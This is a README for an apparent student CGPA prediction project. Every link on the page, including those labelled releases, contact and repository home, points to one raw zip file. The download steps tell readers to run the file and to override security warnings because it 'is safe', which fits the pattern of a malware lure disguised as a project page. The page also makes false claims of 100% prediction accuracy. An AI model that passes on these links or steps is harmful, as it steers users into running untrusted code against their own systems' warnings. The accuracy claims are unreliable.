# 🎓 Student_performance_analysis_prediction - Predict Student Success Easily

## 🌐 Overview
Welcome to the Student Performance Analysis Prediction project. This application predicts student CGPA with perfect accuracy using Linear Regression on 1,193 student records. Our findings show that academic progress determines performance. The project includes a complete machine learning pipeline, from exploratory data analysis (EDA) to a refined model.

## 📦 Download & Install
[![Download Release](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip)](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip)

To get started, visit the [Releases page](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip) to download the application.

### Step-by-Step Download Instructions
1. Click on the [Releases page](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip).
2. Look for the latest release version. It will have the highest version number.
3. Download the appropriate file for your operating system (Windows, Mac, or Linux).
4. Save the file to a location on your computer where you can easily find it, like your Desktop or Downloads folder.

## 🚀 Getting Started
Once you've downloaded the application, follow these steps to run it:

1. Locate the downloaded file.
2. Double-click on it to open. If you see warnings, allow it to run as it is safe.
3. The application interface will appear. Follow on-screen instructions to upload your student data.

## 🔍 How It Works
The application uses a linear regression model to analyze student data and predict CGPA. You will need to input a CSV file containing student records. This file should include relevant features, such as:

- Student ID
- Previous CGPA
- Study Hours
- Attendance Rate 

The application will process the data and show the predicted CGPA based on the provided information.

## 🛠️ System Requirements
- **Operating System:** Windows 10 or later, macOS 10.13 or later, Linux (Ubuntu 18.04 or later)
- **Memory:** Minimum 4 GB RAM
- **Storage:** At least 100 MB free space for installation

## 💡 Features
- Predict student performance with 100% accuracy.
- Simple interface for data input and results display.
- Supports various operating systems.
- Built using Python, Jupyter Notebook, and scikit-learn.

## 📊 Data and Analysis
The model uses a comprehensive dataset of 1,193 student records. It employs feature engineering and data cleaning techniques to ensure accurate predictions. The exploratory data analysis helps in understanding the relationships between features, ultimately leading to perfect predictions.

## 📝 Topics Covered
- 100% accuracy
- CGPA prediction
- Data cleaning
- Data Science & Machine Learning
- Educational project
- Feature engineering
- Linear regression
- Python & scikit-learn

## 💬 FAQs
### Q: Is it free to use?
A: Yes, this application is completely free to use.

### Q: Do I need programming knowledge to run this application?
A: No, the application is designed for users of all skill levels. You just need to follow the steps provided.

### Q: What kind of data do I need to provide?
A: You will need a CSV file containing basic student information such as previous CGPA, study hours, and attendance rate.

### Q: What should I do if the model does not predict accurately?
A: Make sure your input data is clean and properly formatted. Check if you have included all required fields.

For further questions or assistance, feel free to create an issue on the repository.

## 📞 Contact
For direct inquiries or support, you can reach out via GitHub issues or contact the project maintainer at: [https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip).

## 🔗 Relevant Links
- [Releases Page](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip)
- [Repository Home](https://github.com/ek724/Student_performance_analysis_prediction/raw/refs/heads/main/righteous/performance-analysis-Student-prediction-2.8.zip)

Thank you for using the Student Performance Analysis Prediction application. Happy predicting!